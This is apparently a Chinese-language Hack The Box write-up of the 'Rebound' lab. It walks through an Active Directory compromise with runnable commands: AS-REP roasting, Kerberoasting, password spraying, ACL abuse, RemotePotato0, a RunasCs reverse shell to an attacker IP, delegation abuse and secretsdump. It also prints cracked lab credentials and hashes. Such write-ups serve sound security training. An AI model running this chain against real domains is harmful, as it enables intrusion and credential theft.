Hack The Box-Rebound-Insane

端口扫描

nmap -sC -sV 10.10.11.231

在这里插入图片描述

观察扫描结果,目标Windows主机是一个域环境

ENUM

SMB匿名访问

使用crackmapexec能够检测到目标域名可以使用匿名用户进行登录

crackmapexec smb rebound.htb -u anonymous -p '' --shares

在这里插入图片描述

访问后发现共享文件夹中没有数据

RID枚举域内用户

使用crackmapexec对用户名进行枚举

crackmapexec smb rebound.htb -u anonymous -p '' --rid-brute 20000

在这里插入图片描述

枚举出了如下用户

rebound\Administrator
rebound\Guest
rebound\krbtgt
rebound\DC01$
rebound\ppaul
rebound\llune
rebound\fflock
rebound\jjones
rebound\mmalone
rebound\nnoon
rebound\ldap_monitor
rebound\oorend
rebound\winrm_svc
rebound\batch_runner
rebound\tbrady
rebound\delegator$

对这些用户进行AS-REP Roasting Attack

AS-REP Roasting Attack

AS-REP Roasting Attack是对AS-REP Roastable用户进行离线爆破的行为

在Kerberos身份验证中,预身份验证是第一步,其主要作用是防止密码脱机爆破。默认情况下,预身份验证是开启的,KDC(密钥分发中心)会记录密码错误次数,以防止在线爆破。然而,当某个用户账号设置了“不需要Kerberos预身份验证”后,攻击者就可以利用这一漏洞进行AS-REP Roasting攻击

攻击者首先获取至少一个域内用户权限或收集到域内用户,然后利用这一权限向KDC请求票据。由于预身份验证被关闭,KDC不会进行任何验证就将TGT(票据授权票据)和该用户Hash加密的Session Key返回给攻击者。接着,攻击者可以对获取到的用户Hash加密的Session Key进行离线破解,如果破解成功,就能得到该指定用户的密码明文

impacket-GetNPUsers模块能够直接探测是否有hash泄露

impacket-GetNPUsers rebound.htb/ -usersfile user.txt -outputfile outputusers.txt -dc-ip 10.10.11.231 -no-pass

在这里插入图片描述

爆破出jjones的hash值,放入john解密

在这里插入图片描述

解密失败,需要换一个方法

Kerberoasting

Kerberoasting 是一种针对 Kerberos 协议的攻击技术,它利用 Kerberos 认证过程中的某些弱点来获取域内用户的明文密码。Kerberos 是一种网络认证协议,用于在分布式计算环境中提供安全的身份验证和密钥交换。在 Kerberos 认证流程中,用户向 Kerberos 服务(Key Distribution Center,KDC)请求一个票据授权票据(Ticket-Granting Ticket,TGT),然后使用 TGT 请求服务票据(Service Ticket,ST)

Kerberoasting 攻击的关键在于,服务票据(ST)是使用服务主体的主密钥(Master Key)进行加密的,而域内的任何经过身份验证的用户都可以从 KDC 请求 ST。攻击者可以利用这一点,获取到用户请求的服务票据,并进行暴力破解,从而获取到服务主体的主密钥。一旦攻击者获得了服务主体的主密钥,他们就可以使用该密钥来解密所有使用该服务主体的 Kerberos 票据,进而获取到用户的明文密码

python GetUserSPNs.py -no-preauth "jjones" -usersfile "user.txt" -dc-host 10.10.11.231 rebound.htb/ -request

$krb5tgs$23$*ldap_monitor$rebound.htb$ldap_monitor*$C61B3780196088C1D881ED1F062A55A5$B60745B9F1037249C3B3451980FFFE544DF000B7F0F35365A0A80CCD396CAA8F6582E13BBCA7AF25A74A77AF98F17223728042B49AECCC8D2FDC3E1829F1936266CF66B655F4FD5F5582D2FADD9C5E97AD1006406C93C4F47D2F4F2B315BB765C0A933EE1221691D4CC75416BECEC34B31FD2A341AB50474716EF764AD2030E2140C53E9087C65A3942A5F0B9C8E4382F0CF99266E0DBA724257DDB88B280CD577D5C8A61E57A2F066B7CD076C37B651C80BCA4FAF2030808A9C9059901B09C856D717EB15F7BF1F93CCB8340DE47ADE630D95943725E2588A6AFA7F6BCF66467C525C608B9BC322C8CA0AE980824753943CEDEE749A5DF1E8A33D79058F872ACD18D8B232B6DF6C958AF758C01863FD3F182CF48F547060B7FBBBFFE50718A4E26CF3667A20F9D75B2A55FFB760F42EC685ACB2FE56FC75848AAE41AB57992EFD41DDB1CC8F9CEF54C6F27C7F2130C1B4EDB824C9577961ED748F093B175EB13D018262E7DA3090DB9D2CE66B08DC0942C48A0545A46D20392B84F48912C04C15CDE94B44E29E308BCABCD2A7A7F10F54EB7EB7FBBF93B788398BC1DCA9ED40233DB5C307244D248CAA1F3A2C00AD260B99A844BB368B74221AE4FB13E5632B1581D2F70F4645BA8E517B851C183BE1035C8D29120FE1711D90F3EA2E30D3B56BC49921938029BA1A5E8E65314EF8F17CEAD0798B8B7BF7A8D1023563978DDD06BC5C22576293D42C92A08B3868BF2C5971F04CED41C8B7F7C31E0AEB467D082780F551052270101E68D3DAE9CD49CA58CCFF4C9AF250718D4D0B349BE551DA81A06872C176C5D26E5BA41045D63FD691F234B7706299813EE8AAB8608812F66F627E896C853BE320D2101FAFBCF34A66C4437BF362DC4DBFC4E298D922BA7E35FA6A60369C595AFA7A843CD57BC0D5F8446414E256B4FE8E073DDA65E8BD8DD48C209C13FCE4D7FB4731D669D78099E163104698D1CB52600EC7258170E1ED2683D63F654E49239834742968AFC1B5D9621542FB421C1B0279E56B565C66FAFD02E1A9953D0AC04B2A8ED4B597C36392A652314C311E8F5C6C9442D17B8E2F0958EC59A73F63B1DB9628A303D9045DEB99DC0D0648D2F99F57B9964BCB2C0B7DDCB27BA6DEC7395D4BF2245EF7D801952E94EEF8AC6E62648E4343372D200E178EE1258F35FC69233250F5744C3329EFFFC481BBE6F10400A4145E0F5260615874F9B06AC212B3CD76C94BB4A035FE28F2D54C4D882DA918547D7706F3E87BDB0F5E837A757E5FB9A2DBE9B3CC9BB5A3B9E639173BD1C7DF697A6472D2A7FD66F57ACBEEE38565214CAEF922F4D2CF1D8B

在这里插入图片描述

破解出ldap_monitor用户的密码为1GR8t@$$4u

密码喷洒

使用crackmapexec工具对此密码进行喷洒,查看还有什么用户也使用了此密码

crackmapexec smb rebound.htb -u user.txt -p '1GR8t@$$4u' --continue-on-success

在这里插入图片描述

发现ServiceMgmt组也使用了此密码,因此接下来列出SerivceMgmt组的权限和具有的ACLS

Powerview

使用powerview来分析ACL

faketime -f +7h python3 powerview.py rebound.htb/ldap_monitor:'1GR8t@$$4u'@rebound.htb --dc-ip 10.10.11.231 -k

在这里插入图片描述

Get-ObjectAcl表示获取某一个特定服务的ACL
Server表示目标服务器的域名
ResolveGUIDs表示常用于表示要解析ACL中的GUID(全局唯一标识符)。在ACL中,用户和组的标识符通常以GUID的形式表示,这个标志允许将这些GUID解析为其对应的用户或组的名称

查看oorend用户的策略

在这里插入图片描述

该账户拥有 ServiceMgmt组的Self访问权限,该权限可以执行验证写入,因此将接下来的步骤是:将用户oorend添加到ServiceMgmt组中->给组添加GenericAll权限->修改用户winrm_svc的密码>通过winrm进入

BloodyAD

Linux上使用bloodyAD首先需要安装依赖环境

apt-get install libkrb5-dev
pip install bloodyAD

将oorend用户添加到ServiceMgmt组中

faketime -f +7h bloodyAD -d rebound.htb -u oorend -p '1GR8t@$$4u' --host dc01.rebound.htb add groupMember 'CN=SERVICEMGMT,CN=USERS,DC=REBOUND,DC=HTB' "CN=oorend,CN=Users,DC=rebound,DC=htb"

在这里插入图片描述

以此执行以下命令

faketime -f +7h bloodyAD -d rebound.htb -u oorend -p '1GR8t@$$4u' --host dc01.rebound.htb add groupMember 'CN=SERVICEMGMT,CN=USERS,DC=REBOUND,DC=HTB' "CN=oorend,CN=Users,DC=rebound,DC=htb"
#获取TGT
faketime -f +7h python3 getTGT.py rebound.htb/oorend:'1GR8t@$$4u'
export KRB5CCNAME=oorend.ccache
#给予修改密码的权限
faketime -f +7h python3 dacledit.py rebound.htb/oorend:'1GR8t@$$4u' -dc-ip 10.10.11.231 -k -use-ldaps -principal "oorend" -action write -rights ResetPassword -target-dn "OU=SERVICE USERS,DC=REBOUND,DC=HTB" -debug -inheritance
#修改winrm_svc的密码为1GR8t@$$4u
net rpc password winrm_svc -U 'rebound.htb/oorend%1GR8t@$$4u' -S rebound.htb

在这里插入图片描述

使用evil_winrm登录到winrm_svc用户

在这里插入图片描述

接下去使用RemotePotato0进行进一步拿取数据

RemotePotato0

将RemotePotato0上传到靶机后,在kali中运行

socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.10.11.231:9999 && sudo python3 ~/Desktop/tools/impacket-master/examples -t ldap://10.10.11.231 --no-wcf-server --escalate-user winrm_svc

在靶机中运行

.\RemotePotato0.exe -m 2 -r 10.10.14.49 -x 10.10.14.49 -p 9999 -s 1

在这里插入图片描述

在这里插入图片描述

图二中能看到已经获取到了tbrady用户的NTLMv2的hash值,放入john中解密

在这里插入图片描述

破解出tbrady/543BOMBOMBUNmanda,在winrm_svc用户使用RunasCs和此凭证将tbrady用户shell转发到本地(PS:因为靶机会定期重置密码,所以会出现winrm_svc用户掉线的情况,需要重新执行上述重置密码的步骤)

./RunasCs.exe tbrady 543BOMBOMBUNmanda cmd.exe -r 10.10.14.49:9000

在这里插入图片描述

从前面可知,tbrady用户能够获取用户delegator$的GMSA密码,因此上传GMSAPasswordReader.exe到靶机

GMSA

GMSA.exe --accountname delegator$

在这里插入图片描述

也可以使用crackmapexec和bloodyAD获取NTLM

faketime -f +7h crackmapexec ldap dc01.rebound.htb -u tbrady -p 543BOMBOMBUNmanda -k --gmsa
bloodyAD -d rebound.htb -u tbrady -p '543BOMBOMBUNmanda' --host dc01.rebound.htb get object 'delegator$' --attr msDS-ManagedPassword

在这里插入图片描述

权限委托

一旦我们有了哈希值,我们就可以从用户委托人那里获得一张票

faketime -f +7h impacket-getTGT 'rebound.htb/delegator$' -hashes aad3b435b51404eeaad3b435b51404ee:8689904d05752e977a546e201d09e724 -dc-ip 10.10.11.231

在这里插入图片描述

导出票据

export KRB5CCNAME=delegator\$.ccache

委托给ldap_monitor用户

faketime -f +7h impacket-rbcd 'rebound.htb/delegator$' -k -no-pass -delegate-from ldap_monitor -delegate-to 'delegator$' -action write -use-ldaps -debug -dc-ip 10.10.11.231

在这里插入图片描述

一旦权限被委托,我们就会从ldap_monitor用户那里获得一张票证

faketime -f +7h impacket-getTGT 'rebound.htb/ldap_monitor:1GR8t@$$4u' -dc-ip 10.10.11.231

在这里插入图片描述

导出票据

export KRB5CCNAME=ldap_monitor.ccache

从dc01得到一张票

faketime -f +7h impacket-getST -spn "browser/dc01.rebound.htb" -impersonate "dc01$" "rebound.htb/ldap_monitor" -k -no-pass -dc-ip 10.10.11.231

导出票据

export KRB5CCNAME=dc01\$.ccache

生成一张额外的票

faketime -f +7h impacket-getST -spn "http/dc01.rebound.htb" -impersonate "dc01$" -additional-ticket "dc01$.ccache" "rebound.htb/delegator$" -hashes aad3b435b51404eeaad3b435b51404ee:8689904d05752e977a546e201d09e724 -k -no-pass -dc-ip 10.10.11.231

在这里插入图片描述

HashDump

使用dc01的票证,impacket中使用Secretsdump提取管理员用户的哈希值

faketime -f +7h impacket-secretsdump -no -k dc01.rebound.htb -just-dc-user administrator -dc-ip 10.10.11.231

在这里插入图片描述

得到administrator的Hash值:aad3b435b51404eeaad3b435b51404ee:176be138594933bb67db3b2572fc91b8:::

使用evil-winrm登录到administrator用户

在这里插入图片描述

  • 25
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值